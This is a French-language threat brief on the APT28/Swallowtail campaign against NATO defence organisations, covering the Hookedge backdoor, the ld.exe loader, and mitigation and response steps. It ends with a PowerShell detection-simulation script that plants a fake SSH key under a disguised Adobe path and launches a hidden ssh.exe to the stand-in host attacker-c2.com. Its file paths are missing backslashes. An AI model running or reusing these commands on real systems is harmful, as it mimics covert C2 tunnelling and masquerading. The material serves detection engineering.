Swallowtail lié à la Russie cible les entreprises du secteur de la défense de l’OTAN

Résumé

Le groupe d’espionnage russe Swallowtail, également suivi sous le nom d’APT28, a mené une intrusion de plusieurs mois ciblant les organisations de défense, maritimes et les forces de l’ordre à travers les États membres de l’OTAN. Les attaquants ont déployé le backdoor Hookedge et un chargeur réfléchi non documenté appelé ld.exe pour maintenir l’accès et exécuter des charges utiles en mémoire. La campagne a également impliqué des techniques avancées telles que le tunneling SSH pour un accès réseau persistant et le vol de crédentiels NTLM basé sur PowerShell.

Enquête

L’équipe de chasse aux menaces de Symantec a retraçé l’infection initiale à des documents Word avec macros, livrés par Outlook. Les analystes ont identifié un mécanisme de livraison et de rappel utilisant webhook.site et une instance cachée de Microsoft Edge pour récupérer des tâches. Les attaquants ont également démontré une activité à clavier, réalisant de la reconnaissance, des sondages du réseau interne, des mouvements latéraux et des récoltes de crédentiels à travers les environnements compromis.

Atténuation

Les organisations devraient prioriser le blocage des points de terminaison webhook.site malveillants connus et surveiller les comportements anormaux de Microsoft Edge, y compris les fenêtres de navigateur invisibles ou à un seul pixel. Un filtrage strict des sorties devrait être appliqué pour empêcher les connexions SSH non autorisées, tandis que les équipes de sécurité doivent surveiller les activités suspectes des auditeurs PowerShell. La protection des points de terminaison devrait également détecter le chargement réfléchi et les tentatives non autorisées d’accès aux crédentiels.

Réponse

Si une activité liée à Hookedge est détectée, les intervenants devraient immédiatement isoler les systèmes affectés pour interrompre les tunnels SSH actifs et les communications de C2. Effectuez une analyse médico-légale détaillée pour rechercher des fichiers non documentés tels que ld.exe et inspectez les tâches planifiées pour des mécanismes de persistance. Effectuez une réinitialisation complète des crédentiels pour les comptes potentiellement exposés lors du vol de crédentiels NTLM ou de la compromission des clés SSH.

Exécution de la simulation

• Narrative d’attaque & Commandes : L’adversaire a l’intention d’établir un tunnel persistant et chiffré vers leur infrastructure de Commande et Contrôle (C2). Ils ont déposé une clé privée SSH volée dans C:ProgramDataAdobeid_rsa pour se fondre dans les métadonnées des logiciels légitimes. Ils tentent ensuite de lancer le tunnel en utilisant ssh.exe. Après l’établissement du tunnel, ils essaient de charger une charge utile malveillante en mémoire à l’aide d’un chargeur réfléchi sur mesure appelé ld.exe. Ces actions sont conçues pour contourner les défenses périmétriques traditionnelles en utilisant des outils légitimes (ssh.exe) et l’exécution en mémoire (ld.exe).

• Script de test de régression :

  # 1. Simuler le tunneling SSH de Swallowtail
  $dir = "C:ProgramDataAdobe"
  if (!(Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force }
  $keyPath = "$dirid_rsa"
  "MIIEpAIBAAKCAQEA75..." | Out-File -FilePath $keyPath -Encoding ascii
  
  # Déclenchez la détection SSH via une correspondance exacte de ligne de commande
  Start-Process "C:WindowsSystem32OpenSSHssh.exe" -ArgumentList "-i $keyPath user@attacker-c2.com" -WindowStyle Hidden
  
  # 2. Simuler l'exécution du chargeur réfléchi
  # Création d'un ld.exe factice pour la génération de télémétrie
  $dummyLoader = "C:WindowsTempld.exe"
  New-Item -ItemType File -Path $dummyLoader -Force
  # Remarque : Dans un scénario réel, il s'agirait d'un binaire ; ici nous simulons l'événement de création de processus
  Start-Process $dummyLoader -ArgumentList "payload.enc" -WindowStyle Hidden

• Commandes de nettoyage :

  # Supprimer les fichiers et répertoires malveillants simulés
  Remove-Item -Path "C:ProgramDataAdobe" -Recurse -Force -ErrorAction SilentlyContinue
  Remove-Item -Path "C:WindowsTempld.exe" -Force -ErrorAction SilentlyContinue